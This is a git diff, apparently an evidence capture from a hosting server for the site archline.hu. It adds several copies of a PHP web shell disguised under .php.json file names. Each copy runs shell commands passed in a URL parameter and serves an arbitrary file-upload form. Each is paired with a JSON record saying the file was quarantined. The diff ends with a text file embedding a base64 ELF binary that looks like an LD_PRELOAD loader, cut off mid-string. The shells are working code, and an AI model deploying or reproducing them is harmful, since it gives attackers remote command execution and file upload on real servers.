+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json
new file mode 100644
index 0000000..ce8702c
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2906",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_w2mu1xvl.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783904363,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_w2mu1xvl.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json
new file mode 100644
index 0000000..a475467
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2860",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_zpjfu3nd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783834298,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_zpjfu3nd.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json
new file mode 100644
index 0000000..60b017c
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3115",
+  "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_7femdzwq.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783858331,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_7femdzwq.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json
new file mode 100644
index 0000000..21d1c83
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3126",
+  "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_jbpjh349.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857941,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_jbpjh349.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json
new file mode 100644
index 0000000..747be23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3114",
+  "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_kgo3v2ap.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838213,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_kgo3v2ap.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json
new file mode 100644
index 0000000..7712009
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3123",
+  "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_qrl0utnk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857960,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_qrl0utnk.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json
new file mode 100644
index 0000000..18b7dc8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3119",
+  "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_suwbbwff.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838206,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_suwbbwff.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json
new file mode 100644
index 0000000..23bb1c0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3118",
+  "log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_xwl185f0.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783861964,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "cache/_h3x_xwl185f0.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/images/2017/ch.txt b/var/www/hosting/archline.hu/www/images/2017/ch.txt
new file mode 100644
index 0000000..ffa3fad
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/images/2017/ch.txt
@@ -0,0 +1,8 @@
+<?php
+ $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAA